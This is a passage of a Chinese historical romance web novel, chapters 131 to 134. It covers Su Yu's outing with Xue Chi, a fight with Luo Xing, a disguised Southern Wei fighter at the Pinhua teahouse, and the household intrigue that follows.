“姑娘这话说的,您是大爷的亲妹子,他当然心疼姑娘。”太安笑着说。 苏钰吩咐绿川,带两位侍卫大哥安置。 苏略特意把人给她,就是要安置在听雨轩,以防晚上的暗杀。 “可有西北的消息?”苏钰问太安。 慕容弦进京,从西北到京城,路程挺远的,也不知道走到哪里了。 太安低头道:“奴才不知。” “噢。”苏钰见太安不想回答,也不再问。 太安笑着道:“也是巧了,除了西北使者,南魏和北齐也会派出使团要进京,虽然进京时间不同,三方使团应该能在京城见上一面。” 西北慕容氏是降臣,南魏和北齐都是各自一国,虽然是小国,但与苏家的恩怨颇深。 当年苏天翊大破北齐,立下不世之功,打出了二十来年和平。 北齐主动求和,虽然不用像慕容氏那样称臣,每年皆要奉上不少岁贡。 南魏则是在苏震岳的军功,凭打南魏的军功封侯。虽然不像北齐那样,把南魏打的无还手之力,却是一改历年来大周对南魏的颓势。 苏震岳上回搬师回朝后,两国一直在协商谈判事宜。终于谈的有点眉目,南魏决定派出太子出使大周。 苏钰听得惊讶不己,“三方使者齐聚京城,这是大事。” 至于是不是喜事,那得看结果。 不过那么大的事情,京城为什么没有消息。正常情况下,早该写在邸报上。 太安笑着道:“来往的书信还在路上,京城有消息大概半个月后。” 苏钰会意,这是苏略的情报网,太安提前跟她说了。 “南魏竟然派出太子出使,好给面子。”苏钰忍不住说着。 一般来说,使臣的身份不能太低,哪怕现封的官员,官位品级都要够的。 太子当使臣,除非像慕容氏那样,本就是臣子。不然派出太子,显得太过正式,有自降身价之嫌。 “姑娘有所不知,南魏皇族并无太多实权。”太安笑着解释,“南魏掌权人是国师。” 南魏的神权大于皇权,所谓的太子,国师府一句话想换就换。 因为地位一般,太子出使也不奇怪。 “南魏巫术名震天下,还挺有趣的。”苏钰说着。 苏邑跟她讲过南魏的不少事,神神鬼鬼那些,让苏钰的世界观都有点动摇。 要说全是假的骗人的,能骗到天下人的巫术,那也是神术了。 她本身对这些相当犯怵,到时候真遇到了,躲远点即是。 太安笑着道:“南魏的巫术是挺有意思,三爷似乎挺喜欢的,一直都在研究。” “对,阿邑喜欢。”苏钰笑着说。 她一直都很好奇,苏邑为什么会喜欢巫术。 两人闲聊着,带人去安置的绿川回来。 听雨轩虽然大,但住的都是女眷,安置两个大男人着实费了点功夫。 先把丫头们零散的住处集中一起,又与两个侍卫的房舍做了隔离。 “拉着你闲聊许久,耽搁你了。”苏钰笑着对太安说着。 太安的身份说起来是下人,但苏略的心腹,忙也是真忙。 太安笑着说,“姑娘说的哪里话,能给姑娘解闷,是我的福气。” 随即又说,“姑娘歇着,奴才告退。” 太安转身退下,苏钰又问绿川安置的如何。 绿川一一说了,又道:“我细问两人,他们在大公子门下,每月有五十两银子的薪傣。” 每月五十两银子,比国公府的大管家的月俸都多。 苏钰并不意外,苏略派给她的人自然是最好的,好的自然就贵。 “交代下去,不可怠慢了。”苏钰说着。 绿川笑着说,“姑娘就放心吧。” 当天晚上,苏钰收到贴子,薛迟送来的,约她后天品花楼见面。 “姑娘要去吗?”绿川见苏钰愣神,不禁说着。 苏钰想了想,“去。” 130-140 第131章 第 131 章 到了约定当天,苏…… 到了约定当天, 苏钰刚吃完早饭,就有婆子来报。薛迟来了,正在去乐道堂的路上。 薛迟进门为客,主动提出要拜见谷夫人。管事汇报后, 谷夫人同意见面。 “去见老太太?”苏钰有瞬间的错愕, 却瞬间明白了。 谷夫人一直不希望她和薛迟有来往, 薛迟这是要主动出击, 说服谷夫人。 这做事风格,还挺薛迟的。 绿川显得有些紧张, “姑娘要去看看吗?” “当然得去。”苏钰说着,连忙招手唤来小丫头更衣。 她倒不是担心薛迟和谷夫人会有冲突,都是场面人,喜怒皆不形与色。 但是薛迟就这么跟谷夫人见面,让她也隐约有点担心。 说不清是担心什么, 就是觉得不妥。 苏钰起身去乐道堂时,薛迟刚到乐道堂门口,谷夫人正装以待, 亲自迎到门口。 “老太太。”薛迟见礼, “早该来拜见老太太, 耽搁到现在。” 谷夫人还礼,神色十分郑重, “薛大人太客气了, 臣妇不敢当。” 又说着,“大人请。” 两人进到屋里,谷夫人推辞一番才坐下了来。 刘顺家的奉茶上来,薛迟笑着说,“太后挂念老太太, 时常说要请老太太进宫说话。” 这是事实,关太后确实很挂念谷夫人。 毕竟杨阁老这位阁老能坐的那么稳,谷夫人没少出谋划策。 杨阁老临终请旨,让苏天佑赡养谷夫人,谷夫人又回苏家。 关太后不禁担心,杨阁老是中立的,苏家的态度越来越明朗,谷夫人身在苏家,自然也会向着苏家。 “太后娘娘挂念,只是臣妇年老体弱,实在无力侍奉。”谷夫人说着。 关太后希望她早点死,她就是没病,也得一副半死不活的模样。 关太后对比显庆皇帝,是护着臣子的主君,但其手段之狠辣,也是让人望而生畏。 “听阿钰说,您曾照顾过她,我该向您道谢的。”薛迟笑着说。 苏钰跟他说过,她这一生最难的时候,就是父母和离,苏天翊离京,慕容宁改嫁。 虽然还有两个祖父和两个叔叔,但对一个九岁小女孩来说,父母突然离开身边,精神压力可想而知。 这个时候是谷夫人接她过去照顾,细心开导她,伴她渡过人生至暗时刻。 “阿钰既叫了我一声祖母,我就该照顾她。”谷夫人说着,又轻叹口气,“也因为这段缘份,我总是为她操心。细想起来,婚姻大事该由她父母做主的。” 现在局面己然明朗,慕容宁都不反对薛迟和苏钰交往,她更没有立场反对。 薛迟对这个说词很满意,笑着说,“老太太也是关心她。” 两人正说着,就有丫头传话,“大姑娘来了。” 小丫头打起帘子,苏钰匆匆进门来。 薛迟笑着看向苏钰,苏钰瞄了他一眼,却注意到谷夫人的一身正装。 见一个晚辈,好像过份正式了。 “老太太。”苏钰向谷夫人见礼。 谷夫人笑着说,“你既与薛大人有约,就去吧,早些回来。” “是。” 嘴里应着,苏钰心底涌起一抹古怪,这么短的时间内,薛迟就说服谷夫人了? 在她的印象中,谷夫人可不是这么容易改主意。 与薛迟一起告辞,出了乐道堂,苏钰就偏头问薛迟,“你跟老太太说了什么?” “秘密。”薛迟说着。 苏钰顿时笑了,“真难得,你还会开玩笑了。” 薛迟只是笑,他并不觉得他在开玩笑。 无法对人说的事,自然是秘密。 二门上车,两人同车到品花楼。 车驾两侧除了薛迟带的人,还有张三和李四,两人像影子一样跟在车驾两侧。 “是大哥的安排。”苏钰向薛迟说着。 薛迟道:“如此甚好。” 他这趟与苏钰相见,目的之一就是送苏钰两个保镖,苏略既己有安排,他倒是省事了。 苏钰想了想,问:“关贵妃还好吗?” “不太好,御医诊治过,说有疯癫之像。”薛迟说着。 后宫的女人常发疯,生活太压抑是一部分,下毒也是一部分。 关贵妃痛失爱女,伤心过度以致真疯了,合情合理。 就是不合情合理,又能如何。 苏钰不禁想到发疯的安阳长公主,关太后的亲女,都投胎成公主了,却还是发了疯。 皇宫内苑,好似乎一个张着嘴的怪兽,但凡进去的男男女女,都难活下来。 两人说话间,车驾在品花楼门口停了下来,就见掌柜吴德全迎了上来,满脸堆笑,“薛公子,苏姑娘,可把两位盼来了。” 苏钰脸上闪过一丝尴尬,想到上回谢无衣和薛迟打架,呃,都过去了。 “两位不来,我品花楼的招牌都要黯然失色了。”吴德全极力拍着马屁。 这话虽然有夸张成份,但没有苏钰,品花楼是要失色几分。 苏钰会玩,还会领着一群人玩,在仕子里的号召力杠杠的。 她每每来到品花楼,总会有仕子跟着来。跟着苏钰玩,很有意思。 “你这张嘴,还是这么会讲。”苏钰笑着说。 吴德全前头引路,薛迟和苏钰正欲进去,只见谢无衣骑着马过来。 吴德全神色顿时一僵,薛迟脸色微沉。 唯独苏钰,看到谢无衣时,意外之余又有几分想打招呼的意思。 通信两年的笔友,她也想问问谢无衣,到底为何失约。 只是想到薛迟,她的动作顿住了。 就在三人神色各异,吴德全硬着头皮要上前招呼时,谢无衣似乎才看到了苏钰和薛迟,顿时神情大变,连呼吸都有几分急促的模样。 苏钰与薛迟,这么看起来,连他都觉得郎才女貌,天生一对。 是他横插一手,妨碍这对金童女玉。 他的感情是错误的,既使这个想法让他觉得犹如万箭穿心,但这就是现实。 想到他答应晋阳长公主的,不由的闭了下眼,勒紧缰绳掉头往回走。 就这么掉头走了? 苏钰有些错愕,她印象里的谢无衣可不是会回避的人。这种时候他哪怕上前挑衅几句,也比这么掉头走来的正常。 吴德全擦了擦头上的冷汗,心中十分幸庆,他差点以为品花楼又要重新装修了。 “我们进去吧。”薛迟神态自若,仿佛没有看到谢无衣。 苏钰心绪繁乱,点点头。 虽然重新装修了一次,品花楼依然是品花楼,熟悉的配方,熟悉的味道。 店里的熟人不少,主要都是苏钰的熟人。看到她与薛迟一起,都是礼貌笑笑赶紧退下了。 “我的人缘变差了吗?”苏钰忍不住说着。 记得以前,她每每来品花楼都是一堆人上前,打招呼说话。 原本的熟人朋友,再就是仰慕她诗才,还要讨要墨宝的,说是前呼后拥一点都不为过。 现在看到她,都是打声招呼就退下,没一个敢上前的。 就在吴德全想笑着解释之时,就听有人喊着,“阿钰,薛大人,你也来玩啊。” 苏钰回头,是苏邑和程采蓝。 苏邑常去摘星楼,对品花楼并不熟,但程采蓝听说了品花楼的名头,心中好奇,苏邑便带她过来玩。 “好巧。”苏钰看到苏邑和程采蓝也十分高兴,“你们刚到吗?” “刚到。”苏邑笑着说,“我想带采蓝四处看看,就看到你们了。” 程采蓝也笑着道:“薛大人,大姐姐,没打扰你们吧。” “人多才热闹。”苏钰笑着说。 苏邑却是摇摇头,“我不跟你们同路,我想带采蓝四处看看。” 好好的两人约会,他才不想变成四人约会。 苏钰要笑的无语了,“好,好,我们各玩各的。” 薛迟虽然也不想与苏邑和程采蓝同路,却是道:“中午一起吃饭。” 吴德全趁机道:“店里来了一支南魏舞者团,贵客若是有兴趣,我安排她们中午表演。” 一般舞者表演都是晚上,但贵客上门,当然是看贵客的时间。 别说晚上调到中午,就是现在就跳,那得马上准备上。 “南魏的舞者?”苏邑来了兴趣,“南魏的舞蹈确实与众不同。” 因为对南魏的文化有兴趣,连带着歌舞,苏邑都有研究。 南魏的舞蹈,与其说是跳舞,不如说是在跳大神,非常另类。 吴德全见苏邑有兴趣,连连点头,介绍南魏的舞蹈特殊之处。 苏钰却想到另一件事,太安才跟她说,有南魏使者团要进京,这南魏的舞者就先来了。 不太像是巧合,更是打前哨的。 “那就安排吧。”薛迟说着。 吴德全笑着说,“保证让众位大人满意。” 如此约定好,苏邑笑着说,“那我们中午见。” 苏钰点头,“中午见。” 四个人分开,苏邑带着程采蓝继续逛,苏钰则跟着薛迟往后头别院里休息,她有许多话想与薛迟说。 吴德全前头引路正走着,苏钰只觉得一个极其熟悉的身影在眼前晃了一下。 对方应该是舞者,穿着打扮虽然十分古怪,却却是明显的女装,头上珠钗摇晃,脸上的妆十分浓,身上五颜六色的布条,包裹着全身。 苏钰懵了一下。 苏邑,你怎么了苏邑,为什么要穿女装。 “站住。” 第132章 第 132 章 匆匆一瞥,眼看着…… 匆匆一瞥, 眼看着就要消失不见,苏钰下意识叫住她。 薛迟有些意外,看向苏钰。 不明白她为什么要叫住一个舞者。 吴德全连忙笑着解释,“这是南魏的舞者。” 说着, 吴德全赶忙上前, 欲叫住舞者, 让她过来给苏钰见礼。 舞者听到声音, 回头看了过来。 苏钰又是一怔,舞者的年龄应该与自己相仿, 脸上画了浓妆,妆容极为立体艳丽,将真实的五官衬得有些模糊。 唯独那双眼晴,极为凌厉,带着强烈的攻击性。 这样的一张脸, 与苏邑并没有相似之处。尤其是男女有别,身材上差异更大。 但刚才那一瞬间,她就觉得眼前人是苏邑。 “有事?”舞者开口, 声音清脆悦耳, 却隐约带着不耐烦。 虽然是舞者的装扮, 似乎也在极力压抑自己的气场,说话间依然带着上位者的颐使气使。 有种很想装, 但装不了的气场。 “你来自南魏?”苏钰说着。 舞者点点头, 一双美眸打量着苏钰,又转到薛迟身上。 看到薛迟时,微微愣了一下,喃喃自语说了一句南魏话。 要是苏邑在,或者有南魏的翻译在, 大概就能听出她所说的,“这里还能遇到真龙天子,大周的皇族倒是爱玩。” 苏钰和吴德全没听懂,薛迟脸色却变了。 “你的官话说的不错。”苏钰说着。 大周的语言通称为官话,大周与南魏常年打仗的关系,两国之间几乎没有来往。 南魏高层里会说官话的都不多,尤其是像她这样,字正腔圆,要不是她这一身装扮以及吴德全作证,只凭她说话,说是大周人也不为过。 “生来就会。”舞者说着。 吴德全见舞者说话很不客气,训斥道:“你怎么跟贵客……” 舞者一个冷眼过去,吴德全只觉得全身冰冷,喉咙好像被什么东西卡住了,根本就发不出声音。 “姑娘是南魏的大贵人。”苏钰忍不住说着。 这张狂的行事风格,特意跟着舞团出来京城,也许有自己的想法。 但不管想法是啥,她这脾气真的干不了卧底。 舞者有些疑惑的看着苏钰,似乎还不知道自己己经暴露,也不觉得自己做为一个最低级的舞者如此说话有何不妥,“我只是一个随团来大周讨生活的舞者,不明白你在说什么。” 苏钰有些无语的看着她,顺着她的话往下说,“既然是舞者,那就马上安排,现舞一曲。” 她就不信,能舞的下去。 舞者的眉头果然皱了起来,那神情似乎在说,凭你也配,“我没兴趣。” 说着,舞者转身就要走,一副懒得理会的模样。 “姑娘既然来了,就别走了吧。”苏钰笑着说。 话音落,苏钰拉着薛迟往后退了一步。 张三和李四走向舞者,刚想动手制服她,舞者唇角勾起一抹嘲讽笑,“什么废物,也敢在我面前卖弄。” 见招拆招,只见舞者立于原处,只是几个简单的推手,己经把张三和李四震开。 张三和李四顿时一惊,连苏钰都惊呆了。 她家学缘渊,身手虽然马马虎虎,自觉眼力还可以。 对于眼前的舞者,她的判断是,身手还可以,但怎么也想不到,她会这么强。 这可是苏略每月五十两银子请来的保镖,到底是他们太不经打,还是对方太强。 张三和李四也是一惊,没想到跟了新主子第一天就要丢面子。 当即顾不得,武器上手,齐齐向舞者攻去。 舞者依然立于原处,随手抽动身上的披帛,纱若蝉翼的纱布在她手里仿若成了利器。 十招不过,两人手中兵器落到地上,张三和李四顾不得颜面连连后退,再晚一步双手就被斩断。 “来人,快来人……” 吴德全吓坏了,只以为遇到刺客,大声喊着。 品花楼是有侍卫的,薛迟也从来不是单人出门,护卫保镖都是带够。 吴德全这么一喊,几十号人跑了出来,普通打手带着高手,就这么一拥而上。 人海战术之下,舞者终于动了。 只见她身姿灵动,宛如翩翩起舞的蝴蝶,众人围攻之下,竟然连她衣角都摸不到。 “都是废物。”舞者游刃有余,脚尖轻点立于墙角是,一视同仁说着。 就在此时,带着程采蓝四处逛的苏邑听到动静,还以为是苏钰遇刺了,箭步上前,直接加入战局。 “阿邑,小心。”苏钰心中担忧。 武术精进是需要时间的,苏邑的武功高,本身天赋高,再者他常上战场,实战经验丰富。 而眼前的舞者,明明和他们同岁,武力值己经高到不可思议的地步。 还是南魏有特殊的技法可以保持青春永驻,舞者的实际年龄己经很大了,苏钰也不明白。 舞者目光看向苏邑,微微一动,身形却是一跃而起,直冲着苏邑而来。 苏邑出来玩,自然不会带着缨枪,赤手空拳对上舞者。 苏钰心惊不己,下意识就想帮忙。 不管是张三李四,还是后面那些,舞者的态度都很随意,打发废物,多一个少一个无所谓。 但她看苏邑的眼神,很认真。 这样的高手认真起来,苏钰忍不住想,苏邑是她的对手吗? “不会有事。”薛迟拉住她的手。 苏钰愣了一下,任由薛迟握着手,心却不由来的安定下来。 既然薛迟说了没事,那肯定会没事。 舞者与苏邑己经交上手,苏邑用拳,舞者也放弃使用披帛。 两人皆是赤手空拳,舞者身形如电,瞬间欺近苏邑。苏邑侧身一闪,顺势一记肘击撞向舞者。 如此近的距离,苏邑本以为这一拳怎么都能击到实处,却见舞者身躯以不可思议的角度扭曲着,硬是避开了。 原本的打手们,看到高手上阵,顿时退到一旁,免得碍事。 张三和李四更是谨慎的退到苏钰身侧,他俩的工作是保护苏钰安全。 不知从何而来的舞者,强大到不可思议,打输了虽然丢人。但更重要的是,谨防这个时候,有人偷袭伤到苏钰性命。 眼见场上两人越战越烈,程采蓝旁边看着担忧不己。 “大姐姐。”程采蓝不懂武艺,也看不出场上两人打的怎么样,只能祈求的看着苏钰。 苏钰安抚程采蓝,“没事,阿邑能赢。” 嘴上这么说,心里却是虚的。 不,再战下去,苏邑肯定会输。 而且舞者只是比试,并无意杀人。要是真想取苏邑的性命,苏邑己经死了。 重重脚步声响起,品花楼里打成这样,不用吴德全报官。苏钰和薛迟带的人早就去搬救兵了,京城重地,可以调派人马太多。 “建章营骑在此,谁敢放肆。” 一声怒吼,建章营骑护卫军赶到,为首的谢无衣神情冷峻。 舞者眉头皱起,人太多了,正想着要不要暂退之时,就听一声古怪的哨音响起。 “这是南魏军中的传讯信号。”苏邑说着,心中大骇,却又觉得理所当然。 以南魏的情况,这等身手不可能是闲散江湖客,必然是军中高层。 “真麻烦。”舞者自言自语说着,却是一跃而起,身如飞燕直向屋顶。 谢无衣早有防备,“放箭。” 侍卫们拉弓射箭,箭雨直向屋顶上的舞者,舞者看都不看,却如蝴蝶穿花,竟然悉数躲过。 “继续。”谢无衣说着。 第二轮箭雨开始,舞者突然甩动披帛,本以为她要打算拦弓箭的。 却见披帛挥动间,她身影己然不见,仿若凭空消失一般。 只留一句冷笑,“大周,不过尔尔。” *** 品花楼一条街巷的胡同里,舞者也就是罗星,扯到披帛扔在地上,却不由的轻声喘息着。 这一战,竟然让她觉得累。 苏邑,她在战场上见过他。也因为见到了他,她才会对自己感到好奇。 “小主子。” 匆匆脚步声赶了过来,几个商贩打扮的男人快步过来,都不是跪,近乎匍匐的趴在地上。 男人们脸上的表情是惊恐的,惊恐罗星竟然会出现在京城。 他们是南魏在京城的暗探,早上起床收到传信,小主子可能进京了,人都傻了。 要是小主子出了意外,他们何止是人头不保,祖宗八代都得拉出来鞭尸。 “烦不烦。”罗星语气极其不耐烦。 她是单人进京的,结果的这一路上,各种南魏暗探。嘴上说着要保护,其实都是想送她回南魏。 被烦了一路,好不容易进京了城。她都藏到品花楼了,还是能被找到。 尤其刚才那一架也没打爽,心情顿时到了暴怒的边缘。 为首的男人颤颤巍巍说着,“恭迎小主子,我们是……” 男人刚想自我介绍一下,罗星语气不耐的打断他,“太子都能来大周当使臣,我怎么就来不得了。” 从小到大都是,做什么都可以,但不能离开南魏。 随着她武艺渐长,实在是能拦住她的人太少,就变成了。做什么都不可以,但不能去大周。 他越是不想她来,她就越要来,气死那个死老头子。 男人颤抖趴着,哪里还敢出言反驳。 皇太子,哪能跟您比。 皇太子,那是给您提鞋的。 第133章 第 133 章 罗星消失不见,不…… 罗星消失不见, 不管是品花楼的护院打手还是建章营骑的侍卫都惊了一下。 “是南魏的功法,只是有些特别,并不是妖术。”苏邑解释着。 他第一次看到时也吓了一跳,后来才被科普。神神叨叨的南魏, 这只是小意思。 “没事吧。”程采蓝担忧不己, 上前握住苏邑的手。 苏邑摇摇头, 安抚程采蓝, “我没事,让你担心了。” 谢无衣道:“南魏之人善于巫术, 还是得请个大夫来看看。” 苏邑道:“多谢谢大人关心,我没事,不用请大夫。” 请了也没用,南魏的古怪,大周的大夫不了解。 就罗星展现出来的武力值, 谢无衣并没有派人去追,却是看向吴德全。 人是品花德的,也许与吴德全无关, 但他肯定知道些什么。 吴德全快吓死了, 当场跪了下来, 求饶着,“谢大人, 小的什么都不知道。” 他是真的什么都不知道, 他祖祖辈辈都是大周人,怎么可能跟南魏有勾结。 “带回去,慢慢审。”谢无衣冷声说着,“品花楼查封。” 随着谢无衣的一声令下,侍卫们帮忙起来。 南魏暗探出现在品花楼, 这是天大的事,京兆尹,刑部都得通知到。 还得进宫一趟,这么大的事,得进宫面见显庆皇帝。 南魏战败后,一直与大周和谈。终于谈出点眉目,近期就有南魏使团要进京,这时候出这样的事必须慎之又慎。 “我觉得她并不是来当卧底的。”苏钰忍不住说着,“也不是刺客。” 要是刺客,以她的身手,一击即中,全身而退并不是难事。 谢无衣看向苏钰,“苏家与南魏恩怨颇深,还是谨慎些。” 苏震岳带着苏天华大败南魏,这恩怨太大。 就是大周与南魏和解了,南魏对苏家人估计也是恨得咬牙切齿。 薛迟对苏钰说着:“此事矛盾之事颇多,后续我来处理。” 苏钰点点头,事情缘于她出声叫住罗星。按照正常程序,建章骑营和刑部她都得走一趟,沉述事件经过。 现在薛迟来料理,她倒省事了。 谢无衣在旁看着两人说话,只觉得心情激荡难以平复。 他己经许久不见苏钰,似有无数话想跟苏钰说,却又一句都说不出来。 说什么呢,此时此刻,己没什么好说的。 “今天还要多谢你。”苏钰看向谢无衣,眼神却有些回避。 这虽然算是建章营骑份内的差事,但谢无衣来的如此快,还带了这么多人手,确实解了今天之围。 两年笔友,见面不相识,她都不知道这算有缘还算是无缘。 薛迟对谢无衣说着,“多亏你来的及时,我先回去,这里你来料理。” 说着,薛迟又对苏钰说着,“今天扫了兴,改日我们再出来玩,我送你回去。” “嗯。” 苏钰点头应着,却不禁看向谢无衣,回想以前每每与谢无衣相见,总是免不了吵上几句,恨不得再不见面。 物随心转,她现在想与谢无衣说话,至少问他失约的原由。 却突然发现找不到机会了,谢无衣很忙。 她倒是不忙,只是身份不合适,跟薛迟都到谈婚论嫁的阶段了,与谢无衣她又能说什么。 “谢大人,告辞。” 心情起伏中,苏钰礼貌说着。 薛迟理所当然牵起她的手,两人携手离开之时,苏钰不自觉得回头,下意识的看向谢无衣。 谢无衣也正看着她,四目相接之时,苏钰好像被看破了心事了一般,心中涌起一阵说不清是尴尬还是什么情的绪。 几乎是立时的,苏钰看向谢无衣旁边的苏邑,“阿邑,你也送采蓝回家吧。衙门可以晚会再去。” 苏邑做为跟罗星交手的第一人,他是想走趟衙门,交代一下事情经过。 苏钰的话提醒了苏邑,他要先送程采蓝回家。 “苏三爷自便。”谢无衣说着。 苏邑笑着说,“多谢。” 随即对程采蓝说,“我先送你回去。” 程采蓝道:“我一个也可以的,有车夫呢。” “耽搁不了多久,先送你更重要。”苏邑笑着说。 四个人离开,至于品花楼里的其他宾客,早在开打的时候,品花楼的护院就疏散宾客了。 等到谢无衣带着建章营骑的人马到时,基本上就是一座空楼。 建章营骑的侍卫们还在忙碌着,查看被打斗损坏的地方,意图查找蛛丝马迹。 “没什么好找的。”谢无衣对取证的手下们说着,“这种武力值,需要打听一下南魏什么时候出的奇才。” 这个年龄,这样的武力值,南魏是要出宗师了。 手下都觉得有理,七嘴八舌讨论起来,要不是亲眼所见,他们都不敢相信。 谢无衣听了几句就觉得无比烦燥,不是说的内容不好,而是他心烦。 “够了。”谢无衣打断他们,“别围在这里了,该干嘛干嘛去。” 一群侍卫各自散去,谢无衣却没有离开。 他静静站着,站在苏钰刚才站过的地方,空茫的双眼看向天空。 强撑着的冷峻神情一点一点拉了下来,疲惫涌了出来,他下意识捂住脸,双手揉搓着,似乎想把不该有的情愫全部揉掉。 对,就不该存在。 薛迟送苏钰回苏家,本以为到家门后,薛迟就会离开。 毕竟出了这么大的事,南魏这位高手,够薛迟头痛的。 “不请我到屋里坐坐吗?”薛迟说着。 苏钰有些意外,却是笑着说,“薛大人愿意屈尊降贵,小女子求之不得。请。” 苏钰笑着做出请的手势,薛迟也跟着说,“叨扰了。” 没让下人们跟着,苏钰前头引路,带着薛迟从二门进府。 薛迟不是第一次来苏家,只是这回是苏钰前头引路,心情全然不同。 “你想到哪坐坐?”苏钰笑着说,“书房,花园,还是……” “你屋里。”薛迟说着。 苏钰早就想到了,笑着点头,“也是,总是我去临流草堂,也该你到我的听雨轩坐坐。” 说着,步子越发轻快,心情愉悦中又带着一点点紧张。 她并没有太多小女生的矜持,觉得女生的闺房陌生男子进不得。 只是来的是薛迟,她忍不住会想,薛迟对她的住所会有什么样的评价。 两人边说边笑向听雨轩走着,早有管事往听雨轩传话。 绿川带着小丫头赶紧收拾整理,听雨轩的日常当然没问题,不存在脏乱差的现象。 但来的是薛迟,就得格外慎重。 绿川多了一个心眼,把高阁之上,放笔友信的匣子拿了下来,锁到了柜子里。 该收的收起来,该摆的摆出来。 等到苏钰引着薛迟进院时,婆子以及小丫头们各自归位,不准乱跑乱窜。 “请薛大人检阅。” 要进屋时,苏钰笑着对薛迟说着。 她本来没什么感觉,但明显感觉到绿川的紧张,让她忍不住想打趣。 “不用检阅,一定是满意。”薛迟说着。 两人进到屋里,没坐正厅里,苏钰引着薛迟到碧纱橱的罗汉床上坐下。 薛迟环视四周,雅致整齐,又有几分不拘小节,很有苏钰的风格。 唯一让他觉得违和的,太过于整齐,反而少了点生活气。 以苏钰的性子,她的住所,会更随便一些。完全各就各位,反而不像她了。 绿川上茶,薛迟意味深长的看她一眼,“你这个丫头倒是很机敏。” 绿川吓了一跳,端茶的手都抖了一下。 苏钰笑着说,“那当然,从小伴我长大的,将来还要一直陪着我。” 她是希望绿川能到一个如意郎君,风光出阁。但绿川不想出嫁,想陪着她,她也愿意。 “倒是个忠仆。”薛迟笑着说,随口问着,“这是王妃给你挑的人?” 从小侍侯在侧的丫头,应该是慕容宁安排的,那时候的慕容宁还是苏大太太。 苏钰摇摇头,“是我自己挑的。” 打小侍侯的丫头很多,初时都是长辈指派,但随着年龄的增长,就会有个人喜好。 主子喜欢谁,觉得谁侍侯的好,就会提拔谁。 记得当初贴身侍侯的大丫头有八个,都是慕容宁指派,比她大好几岁。 绿川当时年龄也小,只是小丫头,在屋里做些打扫的粗使活计。 如何注意到绿川的,她己经不记得,大概就是觉得她很投缘,常叫到身边说话。 后来几个大丫头陆续走的走,嫁人的嫁人,她就把绿川提拔成大丫头,一直侍侯着。 “从小伴我长大,我定不会亏待了她。”苏钰笑着说,看向绿川。 十几年陪伴,绿川与她真如姐妹一般。 绿川却显得十分紧张,没了往日的灵动,低头说着,“侍侯姑娘是我的本份。” 苏钰只是笑,也没继续说,绿川奉完茶自动退到外头侍侯,跟小丫头们一起,规矩站好。 “我这屋子怎么样,若有不足之处,还请薛大人指正。”苏钰笑着对薛迟说。 “都很好。”薛迟说着,“你布置都是最好的。” 苏钰笑着说,“你总是这么夸我,我都有点飘了。” 两人正说着,就听外头有小丫头传话,“大爷来了……” 第134章 第 134 章 小丫头打起帘子,…… 小丫头打起帘子, 苏略进来。 苏钰连忙起身相迎,心中却十分诧异。 明明知道薛迟在她屋里,苏略怎么会这个时候过来。 “大哥。”苏钰上前招呼着。 苏略笑着,却是看向薛迟, “薛大人也在, 是我来的不巧。” 这话假的有点过份, 连苏钰都有点无语了。 薛迟神态自若, 笑着道:“久见了,苏大公子。” 三人坐下, 苏略就对苏钰说着,“今天遇刺,有没有吓到。” “不算是遇刺,那人并不想杀人。”苏钰又说着。 要是想杀人,她能凭一人之力血洗品花楼。 苏略无所谓说着, “杀与不杀,只在一念之间,都是看心情。” 没有所谓的计划, 全凭当时的心情。 “这等实力, 就是在南魏, 也该是有名有姓的。”苏钰说着。 苏略却是摇摇头,“她默默无闻, 各国对于她都所知甚少。” 就连南魏国内, 对于这位小主子,所知也不多。 “这种人才竟然会默默无闻?”苏钰只觉得不可思议。 苏略道:“她是南魏大国师的亲传弟子,当然可以默默无闻。” 皇权国家还能讲讲道理,至少大家还都是人类,皇子犯法与庶民同罪, 皇家行事也不能太倒行逆施。 神权国家完全没有道理可言,都是神了,谁还管凡人想什么。 苏钰对于南魏国师是何等身份还不太了解,薛迟是知道的,“国师的亲传弟子,为何会来大周的京城。” 苏略笑着摇摇头,“只能问她本人了。” “能抓到吗?”苏钰问着。 南魏的使者团都要进京了,总不好大张旗鼓的抓捕国师亲传弟子。 但可以换个名头,在京城布下天罗地网。虽然对方实力确实不一般,但京城自家地界上,京城衙门出动,总不至于抓不到。 “试试看,也许能抓到。”苏略不抱希望说着,却看向苏钰,“品花楼里,你为什么会叫住她?” 苏钰困惑说着,“看到她那一瞬间,我好像看到了女装阿邑,不自觉得就开口了。” 明明男女有别,面对面时,更连她的五官都看不清。 苏略愣了一下,却是笑了,叹气说着,“这还真是缘份。” 苏钰也觉得很有缘份,但这份缘份…… “薛大人有空吗?”苏略看向薛迟。 薛迟道:“大公子有事?” 苏略点点头,“借一步说话。” “好。”薛迟说着,又对苏钰说,“改天再来找你。” 苏钰点头。 苏略与薛迟离开,苏钰送俩人到门口,心里却觉得怪怪的。 苏略来的太奇怪,他想找薛迟有的是机会,没道理来她这里找薛迟。 这更像是故意的,知道薛迟在她这里,故意带走薛迟。 “大哥不是不反对吗?”苏钰自言自语说着。 前不久苏略的小厮还帮着薛迟带信,这不像是反对。 绿川小声道:“大爷素来疼姑娘,自然凡事都为姑娘考虑。” 苏钰没作声,“算了,晚上去问他。” 对于苏略,没必要猜来猜去,直接上门问。 苏钰本想着晚上去问,结果没问了,因为苏略不在家,没地方问。 一连几天苏略都不在家,苏钰也不着急了。 她与薛迟现在的关系,也没有到马上谈婚论嫁的地步,等苏略闲下来再问也不迟。 吃完晚饭,苏钰正想着写点东西,小丫头上前侍侯,却不见绿川。 “绿川呢,她还没吃完饭吗?”苏钰问着。 丫头都是轮流吃饭,绿川每次都是侍侯她吃完饭后再去后头吃饭。 按着时间,绿川这时候该回来了。 “绿川姐姐身上不舒服,弄脏了裙子,回屋换回衣服去了。”小丫头说着,“还让我向姑娘告个假,她肚子疼,晚上就不过来了。” 苏钰连忙道:“吩咐厨房,熬汤水送过去,明天也不用过来,让她好好歇着。” “是。”小丫头笑着说,“姑娘宽厚。” 苏钰照常梳洗睡觉,而后院里,绿川正喝着厨房送来的汤水。 做为苏钰房里最大的丫头,她有一间单独的房间。房间不大,有床有柜子还有桌子,在丫头们里面是难得的好待遇。 “劳烦妈妈晚上还辛苦帮我熬汤。”绿川对送来汤水的婆子说着。 婆子笑着说,“绿川姑娘快别这么说,您照应着我们,都是我们应该做的。” 客套几句,婆子端着空碗走了。 绿川床上躺着,原本还虚弱的神情,顿时精神起来。 到了各院之间落锁的时间,后院的丫头也都睡了,绿川起身换了件深夜的衣服,悄悄出门去。 